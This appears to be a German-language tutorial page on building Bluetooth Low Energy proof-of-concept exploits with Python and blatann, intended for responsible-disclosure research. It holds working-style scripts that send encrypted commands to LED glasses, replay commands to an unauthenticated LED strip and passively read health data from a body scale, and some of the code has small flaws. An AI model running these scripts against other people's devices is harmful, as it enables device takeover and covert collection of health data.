Phase 5: PoC-Entwicklung

Proof-of-Concept-Exploits mit Python und blatann entwickeln

Lernziel

Nach dieser Seite kannst du einen funktionsfähigen Proof-of-Concept-Exploit mit Python und der blatann-Bibliothek entwickeln. Du verstehst, warum blatann gegenüber höher abstrahierten Bibliotheken wie Bleak bevorzugt wird, kennst das Grundmuster für BLE-Exploits (Verbinden → Dienste entdecken → Ausnutzen) und kannst die in den Phasen 1–4 gewonnenen Erkenntnisse in ausführbaren Code umsetzen.

Was ist ein Proof of Concept?

Ein Proof of Concept (kurz: PoC, deutsch: Machbarkeitsnachweis) ist ein minimales, funktionsfähiges Programm, das eine Schwachstelle demonstriert. Es beweist: Die Schwachstelle ist real und ausnutzbar — nicht nur theoretisch beschreibbar.

Stell dir vor, du hast in Phase 1–4 herausgefunden, dass eine LED-Brille AES-verschlüsselte Befehle mit einem hardcodierten Schlüssel verarbeitet. Ein PoC ist das Python-Skript, das diesen Schlüssel nimmt, einen beliebigen Text verschlüsselt und an die Brille schickt — ohne die Original-App, ohne Root-Rechte, ohne physischen Gerätezugang jenseits der BLE-Reichweite.

PoC ist kein fertiger Angriff

Ein PoC-Skript für eine Bachelorarbeit oder ein Bug-Bounty-Programm ist bewusst unvollständig. Es demonstriert die Funktionsfähigkeit des Angriffs, enthält aber keine einsatzbereiten Exploit-Kits. Die hier gezeigten Beispiele folgen diesem Prinzip.

Warum blatann statt Bleak?

Es gibt mehrere Python-Bibliotheken für BLE. Die bekannteste ist Bleak — sie ist plattformübergreifend, einfach zu installieren und für viele Anwendungsfälle ausreichend. Warum also blatann?

Der entscheidende Unterschied liegt auf der Link-Layer-Ebene. Bleak verwendet den Bluetooth-Stack des Betriebssystems (BlueZ unter Linux, CoreBluetooth unter macOS). Das bedeutet: Du hast keinen Zugriff auf Low-Level-Parameter wie Connection Interval, Slave Latency oder PHY-Einstellungen. Außerdem benötigst du für Bleak den normalen Bluetooth-Adapter des Rechners — und dieser wird in Phase 2 bereits als Sniffer mit der nRF-Sniffer-Firmware betrieben.

blatann hingegen kommuniziert direkt mit dem nRF52840-Dongle über die Connectivity-Firmware von Nordic Semiconductor. Das gibt dir:

  • Direkte Kontrolle über den nRF52840-Stack (Chip-Level)
  • Zugriff auf Link-Layer-Parameter
  • Denselben Dongle für Sniffen (Phase 2) und für Exploits (Phase 5) — nur die Firmware wechselt
  • Zuverlässige Timing-Kontrolle, die für Protokoll-Handshakes wichtig ist

Firmware wechseln für Phase 5

Der nRF52840-Dongle muss für Phase 5 mit der Connectivity-Firmware bespielt werden, nicht mit der Sniffer-Firmware aus Phase 2. Der Wechsel dauert ca. 2 Minuten via nRF Connect Programmer. Die Sniffer-Firmware kann jederzeit wieder aufgespielt werden.

Setup: Python 3.9+ und blatann 0.6.0

# Virtuelle Umgebung erstellen (empfohlen)
python3 -m venv ble-poc-env
source ble-poc-env/bin/activate

# Bibliotheken installieren
pip install blatann==0.6.0
pip install pycryptodome==3.20.0   # Für AES-Operationen

# Installation prüfen
python3 -c "import blatann; print(blatann.__version__)"
# Ausgabe: 0.6.0

Connectivity-Firmware flashen (einmalig, vor Phase 5):

# In nRF Connect for Desktop: Programmer-App öffnen
# Connectivity-Firmware: connectivity_4.1.4_usb_with_s132_5.1.0.hex
# (Im blatann-Paket enthalten unter: blatann/sdk/connectivity/)

# Alternativ über pip-Paketpfad finden:
python3 -c "import blatann; import os; print(os.path.dirname(blatann.__file__))"

Serielle Port-Berechtigungen

blatann kommuniziert mit dem Dongle über /dev/ttyACM0 (Linux). Ohne Gruppenrechte scheitert die Verbindung mit einem Permission-Denied-Fehler. Prüfe mit ls -la /dev/ttyACM* und stelle sicher, dass du in der Gruppe dialout bist (sudo usermod -a -G dialout $USER, dann neu anmelden).

Das PoC-Grundmuster: Verbinden → Entdecken → Ausnutzen

Jeder BLE-Exploit folgt demselben dreiteiligen Muster. Dieses Template ist der Ausgangspunkt für alle drei Fallbeispiele:

from blatann import BleDevice

# Konstanten aus Phase 1 und Phase 4
TARGET_MAC = "AA:BB:CC:DD:EE:FF"   # Aus Wireshark oder Phase 1
CHAR_UUID   = "0000ff01-0000-1000-8000-00805f9b34fb"  # Aus JADX
SERIAL_PORT = "/dev/ttyACM0"       # Linux; Windows: "COM3"

def exploit(port: str, target_mac: str) -> None:
    # 1. BLE-Gerät (nRF52840-Dongle) initialisieren
    ble_device = BleDevice(port)
    ble_device.open()

    # 2. Verbindung aufbauen (Timeout: 15 Sekunden)
    print(f"[*] Verbinde mit {target_mac}...")
    peer = ble_device.connect(target_mac).wait(timeout=15)

    if peer is None:
        print("[!] Verbindung fehlgeschlagen — Gerät in Reichweite?")
        ble_device.close()
        return

    # 3. GATT-Dienste und Charakteristiken entdecken
    print("[*] Entdecke GATT-Dienste...")
    peer.discover_services().wait(timeout=10)

    # 4. Ziel-Charakteristik finden
    char = peer.database.find_characteristic(CHAR_UUID)
    if char is None:
        print(f"[!] Charakteristik {CHAR_UUID} nicht gefunden")
        peer.disconnect().wait()
        ble_device.close()
        return

    # 5. Payload schreiben (exploit-spezifisch)
    payload = bytes([0x01, 0x02, 0x03])
    char.write(payload).wait(timeout=5)
    print(f"[+] Payload gesendet: {payload.hex()}")

    # 6. Aufräumen
    peer.disconnect().wait()
    ble_device.close()

if __name__ == "__main__":
    exploit(SERIAL_PORT, TARGET_MAC)

Fallbeispiel 1: LED-Brille (AES-ECB-Verschlüsselung)

Die LED-Brille verschlüsselt jeden Befehl mit AES-ECB und einem 16-Byte-Schlüssel, der hardcodiert in der nativen Bibliothek libencrypt.so liegt (Phase 3, Ghidra-Analyse). Die Verschlüsselung schützt vor zufälligem Replay — aber nicht vor einem Angreifer mit dem Schlüssel.

Das Protokoll (aus Phase 4 rekonstruiert) sieht so aus:

  1. Verbindungsaufbau
  2. Handshake: Gerät sendet eine 4-Byte-Challenge auf Notification-Charakteristik
  3. App antwortet mit verschlüsseltem Acknowledgement
  4. Danach akzeptiert das Gerät verschlüsselte LED-Matrix-Befehle
from blatann import BleDevice
from Crypto.Cipher import AES

# Aus Ghidra extrahiert (Phase 3) — hier absichtlich unvollständig
AES_KEY     = bytes.fromhex("AABBCCDDEEFF00112233445566778899")  # Beispiel
WRITE_UUID  = "0000ff02-0000-1000-8000-00805f9b34fb"
NOTIFY_UUID = "0000ff01-0000-1000-8000-00805f9b34fb"

def encrypt_command(key: bytes, plaintext: bytes) -> bytes:
    """AES-ECB-Verschlüsselung (kein IV, kein Nonce — ECB-Schwäche)."""
    cipher = AES.new(key, AES.MODE_ECB)
    # Auf 16-Byte-Block-Grenze auffüllen
    padded = plaintext.ljust(16, b'\x00')
    return cipher.encrypt(padded)

def send_text_to_glasses(port: str, mac: str, text: str) -> None:
    ble_device = BleDevice(port)
    ble_device.open()

    peer = ble_device.connect(mac).wait(timeout=15)
    peer.discover_services().wait()

    write_char  = peer.database.find_characteristic(WRITE_UUID)
    notify_char = peer.database.find_characteristic(NOTIFY_UUID)

    # Notifications aktivieren (für Challenge-Response)
    notify_char.subscribe(on_notification_received).wait()

    # LED-Matrix-Text-Befehl bauen und verschlüsseln
    # Protokollformat aus Phase 4: [0xAB, 0x00, len, ...text_bytes, checksum]
    text_bytes = text.encode("ascii")[:12]  # Max. 12 Zeichen
    cmd = bytes([0xAB, 0x00, len(text_bytes)]) + text_bytes
    encrypted = encrypt_command(AES_KEY, cmd)

    write_char.write(encrypted).wait()
    print(f"[+] Text '{text}' an LED-Brille gesendet")

    peer.disconnect().wait()
    ble_device.close()

AES-ECB: Warum das ein Problem ist

AES-ECB (Electronic Codebook) verschlüsselt jeden 16-Byte-Block unabhängig mit demselben Schlüssel. Das bedeutet: Gleicher Klartext ergibt immer gleichen Geheimtext. Ein Angreifer kann Muster erkennen, ohne den Schlüssel zu kennen, und aufgezeichnete Blöcke gezielt wiederverwenden. Sicherer wäre AES-CCM oder AES-GCM mit zufälligem Nonce pro Nachricht.

Fallbeispiel 2: LED-Strip (Klartext-Replay)

Der Smart-LED-Strip verwendet keinerlei Verschlüsselung und kein Pairing. Die Steuerbefehle liegen im Klartext vor (Phase 2). Ein Replay-Angriff ist damit trivial: Befehle aufzeichnen, später abspielen.

Das Protokollformat (aus Phase 4):

7e [len] [opcode] [params...] ef

Beispiel Farbbefehl Rot: 7e 07 05 03 ff 00 00 10 ef

from blatann import BleDevice

# Aus Phase 1 (JADX): Einzige relevante Charakteristik
WRITE_UUID = "0000ffd9-0000-1000-8000-00805f9b34fb"

def build_color_cmd(r: int, g: int, b: int) -> bytes:
    """LED-Strip-Farbbefehl nach rekonstruiertem Protokoll (Phase 4)."""
    return bytes([0x7e, 0x07, 0x05, 0x03, r, g, b, 0x10, 0xef])

def set_led_color(port: str, mac: str, r: int, g: int, b: int) -> None:
    ble_device = BleDevice(port)
    ble_device.open()

    peer = ble_device.connect(mac).wait(timeout=15)
    peer.discover_services().wait()

    char = peer.database.find_characteristic(WRITE_UUID)
    payload = build_color_cmd(r, g, b)
    char.write(payload).wait()

    print(f"[+] Farbe gesetzt: RGB({r}, {g}, {b})")
    print(f"    Payload: {payload.hex()}")

    peer.disconnect().wait()
    ble_device.close()

# Beispiel: Brille auf Rot setzen
# set_led_color("/dev/ttyACM0", "AA:BB:CC:DD:EE:FF", 255, 0, 0)

Replay ohne Authentifizierung

Da der LED-Strip kein Pairing und keine Authentifizierung verwendet, kann sich jedes BLE-Gerät verbinden. Das PoC-Skript benötigt nur die MAC-Adresse des Strips — die in jedem Advertising-Paket enthalten ist und passiv erfasst werden kann. CVSS-Score dieser Schwachstelle: 8.1 (HIGH).

Fallbeispiel 3: Körperwaage (Passive Advertisement-Analyse)

Die Lebenlang-Waage sendet Messdaten direkt in BLE-Advertisement-Paketen, ohne GATT-Verbindung. Ein PoC muss daher nicht einmal eine Verbindung aufbauen — passives Scannen genügt.

from blatann import BleDevice
from blatann.gap.advertise_data import AdvertisingData

def parse_scale_advertisement(adv_data: bytes) -> dict:
    """
    Waagen-Advertisement-Payload dekodieren (Protokoll aus Phase 4).
    Manufacturer Specific Data (Type 0xFF), Company ID 0x05C0
    Offset 2-3: Gewicht in 0.01 kg-Einheiten
    Offset 4-5: Körperimpedanz in 0.1 Ohm-Einheiten
    """
    if len(adv_data) < 6:
        return {}

    weight_raw    = (adv_data[2] << 8) | adv_data[3]
    impedance_raw = (adv_data[4] << 8) | adv_data[5]

    return {
        "weight_kg":       weight_raw / 100.0,
        "impedance_ohm":   impedance_raw / 10.0,
    }

def scan_for_scale(port: str, scan_duration_s: int = 15) -> None:
    ble_device = BleDevice(port)
    ble_device.open()

    print(f"[*] Scanne {scan_duration_s}s nach Waagen-Advertisements...")

    # Scanner konfigurieren und starten
    scanner = ble_device.scanner
    scanner.start()

    import time
    time.sleep(scan_duration_s)

    for report in scanner.scan_reports:
        # Manufacturer Specific Data herausfiltern
        mfr_data = report.advertise_data.manufacturer_specific_data
        if mfr_data and mfr_data[:2] == bytes([0xC0, 0x05]):
            result = parse_scale_advertisement(mfr_data)
            if result:
                print(f"[+] Waage gefunden: {report.peer_address}")
                print(f"    Gewicht:     {result['weight_kg']:.2f} kg")
                print(f"    Impedanz:    {result['impedance_ohm']:.1f} Ohm")

    scanner.stop()
    ble_device.close()

DSGVO-Relevanz: Gesundheitsdaten im Advertisement-Kanal

Körpergewicht und Impedanz sind nach DSGVO Artikel 9 besonders schutzbedürftige Gesundheitsdaten. Die Waage sendet diese Daten unverschlüsselt und ohne Authentifizierung an jeden passiven Empfänger in einem Radius von ca. 30 Metern. Das passive PoC-Skript demonstriert, dass kein technisches Angriffswissen erforderlich ist — nur ein BLE-Empfänger.

Interaktive PoC-Umgebung

PythonPyodide

Interaktive Checkliste: Phase 5

Phase 5: PoC-Entwicklung

0/14

Zeitaufwand und Ergebnisse

Phase 5 dauert typisch 4–6 Stunden für ein mittleres Gerät. Die Zeit verteilt sich so:

  • 1–2 h: Setup (Firmware, Bibliotheken, Berechtigungen)
  • 1–2 h: Grundverbindung und Service Discovery testen
  • 1–2 h: Exploit-Logik implementieren und debuggen

Das Hauptergebnis ist ein funktionsfähiger PoC, der in der Responsible-Disclosure-Meldung als technischer Nachweis dient. Kein Hersteller kann eine Schwachstelle ignorieren, wenn ein funktionsfähiges Skript beigelegt ist, das den Angriff in 10 Zeilen reproduziert.

Debugging mit blatann

Aktiviere das blatann-Logging für detaillierte Ausgaben: import logging; logging.basicConfig(level=logging.DEBUG). Du siehst dann jeden ATT-Befehl, jeden Response und jeden Fehler — unschätzbar beim Debuggen von Protokoll-Handshakes.

Zusammenfassung

  • blatann bietet direkten Zugriff auf den nRF52840-Stack und ist damit die richtige Wahl für BLE-PoC-Exploits — der gleiche Dongle, der in Phase 2 snifft, wird in Phase 5 zum Angreifer.
  • Das Grundmuster jedes BLE-Exploits: BleDevice öffnen → verbinden → discover_services → Charakteristik finden → Payload schreiben.
  • LED-Brille: AES-ECB mit hardcodiertem Schlüssel — Verschlüsselung ohne Sicherheitsgewinn.
  • LED-Strip: Kein Pairing, kein Schutz — direktes Replay beliebiger Befehle.
  • Körperwaage: Gesundheitsdaten im Advertisement-Kanal — keine Verbindung notwendig, passives Scannen genügt.
  • Phase 5 schließt das 5-Phasen-Framework ab: Aus theoretischen Befunden werden ausführbare Nachweise.

Warum wird blatann gegenüber Bleak für BLE-PoC-Exploits in diesem Framework bevorzugt?